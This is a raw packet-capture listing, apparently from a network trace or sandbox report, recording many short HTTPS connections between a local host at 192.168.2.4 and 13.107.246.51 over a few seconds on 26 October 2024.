Oct 26, 2024 13:45:34.462335110 CEST	49878	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.462378025 CEST	443	49878	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.462456942 CEST	49878	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.462620974 CEST	49878	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.462636948 CEST	443	49878	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.730401993 CEST	443	49874	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.731089115 CEST	49874	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.731137991 CEST	443	49874	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.731626034 CEST	49874	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.731640100 CEST	443	49874	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.860632896 CEST	443	49874	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.860735893 CEST	443	49874	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.860955000 CEST	49874	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.861018896 CEST	49874	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.861058950 CEST	443	49874	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.861121893 CEST	49874	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.861138105 CEST	443	49874	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.865056992 CEST	49879	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.865108967 CEST	443	49879	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.865185022 CEST	49879	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.865448952 CEST	49879	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.865467072 CEST	443	49879	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.020077944 CEST	443	49875	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.021012068 CEST	49875	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.021032095 CEST	443	49875	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.021569967 CEST	49875	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.021578074 CEST	443	49875	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.025784969 CEST	443	49876	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.026062012 CEST	49876	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.026088953 CEST	443	49876	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.026400089 CEST	49876	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.026406050 CEST	443	49876	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.154668093 CEST	443	49875	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.154731989 CEST	443	49875	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.154783010 CEST	443	49875	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.154850960 CEST	49875	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.155091047 CEST	49875	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.155109882 CEST	443	49875	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.155127048 CEST	49875	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.155134916 CEST	443	49875	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.158073902 CEST	443	49876	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.158160925 CEST	443	49876	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.158258915 CEST	49876	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.158421993 CEST	49876	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.158442974 CEST	443	49876	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.158454895 CEST	49876	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.158461094 CEST	443	49876	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.158546925 CEST	49880	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.158582926 CEST	443	49880	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.158704996 CEST	49880	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.158812046 CEST	49880	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.158833027 CEST	443	49880	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.160670996 CEST	49881	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.160703897 CEST	443	49881	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.160789013 CEST	49881	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.160912037 CEST	49881	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.160927057 CEST	443	49881	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.199152946 CEST	443	49878	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.199736118 CEST	49878	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.199759960 CEST	443	49878	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.200259924 CEST	49878	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.200264931 CEST	443	49878	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.332211018 CEST	443	49878	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.332289934 CEST	443	49878	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.332395077 CEST	49878	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.332640886 CEST	49878	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.332663059 CEST	443	49878	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.332679033 CEST	49878	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.332685947 CEST	443	49878	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.336167097 CEST	49882	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.336210966 CEST	443	49882	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.336293936 CEST	49882	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.336447954 CEST	49882	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.336467028 CEST	443	49882	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.598043919 CEST	443	49877	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.601340055 CEST	49877	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.601386070 CEST	443	49877	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.601916075 CEST	49877	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.601923943 CEST	443	49877	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.628801107 CEST	443	49879	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.629488945 CEST	49879	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.629514933 CEST	443	49879	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.630034924 CEST	49879	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.630040884 CEST	443	49879	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.728765011 CEST	443	49877	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.728800058 CEST	443	49877	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.728847027 CEST	443	49877	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.728861094 CEST	49877	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.728912115 CEST	49877	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.729244947 CEST	49877	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.729266882 CEST	443	49877	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.729279041 CEST	49877	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.729309082 CEST	443	49877	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.732933044 CEST	49883	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.732965946 CEST	443	49883	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.733098030 CEST	49883	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.733248949 CEST	49883	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.733263016 CEST	443	49883	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.763657093 CEST	443	49879	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.763748884 CEST	443	49879	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.763809919 CEST	49879	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.763988972 CEST	49879	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.764005899 CEST	443	49879	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.764024973 CEST	49879	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.764041901 CEST	443	49879	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.766766071 CEST	49884	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.766817093 CEST	443	49884	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.766915083 CEST	49884	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.767082930 CEST	49884	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.767096043 CEST	443	49884	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.892867088 CEST	443	49880	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.893558025 CEST	49880	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.893585920 CEST	443	49880	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.894149065 CEST	49880	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.894154072 CEST	443	49880	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.902136087 CEST	443	49881	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.902587891 CEST	49881	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.902606010 CEST	443	49881	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:35.902904034 CEST	49881	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:35.902909994 CEST	443	49881	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.038470030 CEST	443	49881	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.038542986 CEST	443	49881	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.038650990 CEST	49881	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.038661957 CEST	443	49881	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.038710117 CEST	49881	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.038976908 CEST	49881	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.038976908 CEST	49881	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.038994074 CEST	443	49881	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.039002895 CEST	443	49881	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.042617083 CEST	49885	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.042651892 CEST	443	49885	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.042819977 CEST	49885	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.042979002 CEST	49885	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.042998075 CEST	443	49885	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.065104008 CEST	443	49882	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.065610886 CEST	49882	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.065639973 CEST	443	49882	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.066091061 CEST	49882	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.066096067 CEST	443	49882	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.173821926 CEST	443	49880	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.173923016 CEST	443	49880	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.173970938 CEST	49880	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.174174070 CEST	49880	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.174185991 CEST	443	49880	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.174196005 CEST	49880	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.174201012 CEST	443	49880	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.177491903 CEST	49886	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.177542925 CEST	443	49886	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.177634001 CEST	49886	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.177817106 CEST	49886	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.177836895 CEST	443	49886	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.199526072 CEST	443	49882	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.199683905 CEST	443	49882	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.199759007 CEST	49882	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.199868917 CEST	49882	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.199875116 CEST	443	49882	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.199883938 CEST	49882	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.199887991 CEST	443	49882	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.202758074 CEST	49887	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.202790976 CEST	443	49887	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.202893972 CEST	49887	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.203018904 CEST	49887	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.203032970 CEST	443	49887	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.483520985 CEST	443	49883	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.484245062 CEST	49883	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.484267950 CEST	443	49883	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.484819889 CEST	49883	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.484827995 CEST	443	49883	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.524759054 CEST	443	49884	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.525327921 CEST	49884	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.525345087 CEST	443	49884	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.525851011 CEST	49884	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.525857925 CEST	443	49884	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.617139101 CEST	443	49883	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.617238045 CEST	443	49883	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.617352009 CEST	49883	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.617360115 CEST	443	49883	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.617474079 CEST	49883	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.617501974 CEST	49883	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.617517948 CEST	443	49883	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.617536068 CEST	49883	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.617542028 CEST	443	49883	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.620718956 CEST	49888	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.620778084 CEST	443	49888	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.620862961 CEST	49888	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.621001005 CEST	49888	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.621021032 CEST	443	49888	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.772538900 CEST	443	49885	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.773386002 CEST	49885	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.773405075 CEST	443	49885	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.774377108 CEST	49885	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.774383068 CEST	443	49885	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.837486029 CEST	443	49884	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.837821007 CEST	443	49884	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.837928057 CEST	49884	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.837928057 CEST	49884	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.838028908 CEST	49884	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.838051081 CEST	443	49884	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.841125011 CEST	49889	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.841167927 CEST	443	49889	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.841274977 CEST	49889	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.841413975 CEST	49889	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.841428041 CEST	443	49889	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.901870966 CEST	443	49885	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.902017117 CEST	443	49885	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.902177095 CEST	49885	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.902736902 CEST	49885	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.902753115 CEST	443	49885	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.902770042 CEST	49885	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.902776003 CEST	443	49885	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.911336899 CEST	49890	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.911389112 CEST	443	49890	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.911465883 CEST	49890	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.911624908 CEST	49890	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.911644936 CEST	443	49890	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.917171955 CEST	443	49886	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.917664051 CEST	49886	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.917675018 CEST	443	49886	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.918155909 CEST	49886	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.918160915 CEST	443	49886	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.939992905 CEST	443	49887	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.941587925 CEST	49887	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.941603899 CEST	443	49887	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:36.942050934 CEST	49887	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:36.942054987 CEST	443	49887	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.047946930 CEST	443	49886	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.048110008 CEST	443	49886	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.048207045 CEST	49886	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.048458099 CEST	49886	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.048458099 CEST	49886	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.048474073 CEST	443	49886	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.048484087 CEST	443	49886	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.051706076 CEST	49891	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.051738024 CEST	443	49891	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.051815033 CEST	49891	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.052342892 CEST	49891	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.052357912 CEST	443	49891	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.070112944 CEST	443	49887	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.070234060 CEST	443	49887	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.070349932 CEST	443	49887	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.070439100 CEST	49887	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.070455074 CEST	49887	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.071048021 CEST	49887	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.071048021 CEST	49887	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.071069002 CEST	443	49887	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.071079969 CEST	443	49887	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.074724913 CEST	49892	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.074759007 CEST	443	49892	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.074843884 CEST	49892	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.075012922 CEST	49892	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.075027943 CEST	443	49892	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.352216959 CEST	443	49888	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.354971886 CEST	49888	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.355005980 CEST	443	49888	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.355530977 CEST	49888	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.355540037 CEST	443	49888	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.486368895 CEST	443	49888	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.486452103 CEST	443	49888	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.486557961 CEST	49888	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.486860991 CEST	49888	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.486890078 CEST	443	49888	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.486903906 CEST	49888	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.486910105 CEST	443	49888	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.490282059 CEST	49893	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.490315914 CEST	443	49893	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.490394115 CEST	49893	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.490564108 CEST	49893	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.490580082 CEST	443	49893	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.573231936 CEST	443	49889	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.573813915 CEST	49889	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.573832989 CEST	443	49889	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.574336052 CEST	49889	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.574341059 CEST	443	49889	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.646186113 CEST	443	49890	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.646840096 CEST	49890	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.646904945 CEST	443	49890	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.647353888 CEST	49890	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.647367001 CEST	443	49890	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.704466105 CEST	443	49889	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.704500914 CEST	443	49889	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.704551935 CEST	443	49889	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.704586983 CEST	49889	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.704626083 CEST	49889	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.704922915 CEST	49889	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.704938889 CEST	443	49889	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.704948902 CEST	49889	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.704953909 CEST	443	49889	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.708514929 CEST	49894	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.708549976 CEST	443	49894	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.708643913 CEST	49894	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.708827019 CEST	49894	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.708841085 CEST	443	49894	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.775675058 CEST	443	49890	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.775743008 CEST	443	49890	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.775820017 CEST	49890	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.776043892 CEST	49890	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.776093960 CEST	443	49890	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.776128054 CEST	49890	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.776144028 CEST	443	49890	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.779475927 CEST	49895	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.779535055 CEST	443	49895	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.779656887 CEST	49895	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.779843092 CEST	49895	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.779860020 CEST	443	49895	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.798991919 CEST	443	49891	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.799412966 CEST	49891	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.799427032 CEST	443	49891	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.799897909 CEST	49891	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.799904108 CEST	443	49891	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.834877968 CEST	443	49892	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.835489988 CEST	49892	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.835509062 CEST	443	49892	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.836134911 CEST	49892	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.836141109 CEST	443	49892	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.931013107 CEST	443	49891	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.931083918 CEST	443	49891	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.931154013 CEST	49891	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.931337118 CEST	49891	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.931358099 CEST	443	49891	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.931369066 CEST	49891	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.931374073 CEST	443	49891	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.934778929 CEST	49896	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.934820890 CEST	443	49896	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.934904099 CEST	49896	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.935131073 CEST	49896	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.935149908 CEST	443	49896	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.967873096 CEST	443	49892	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.967957020 CEST	443	49892	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.968009949 CEST	49892	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.968224049 CEST	49892	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.968235016 CEST	443	49892	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.968244076 CEST	49892	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.968249083 CEST	443	49892	13.107.246.51	192.168.2.4
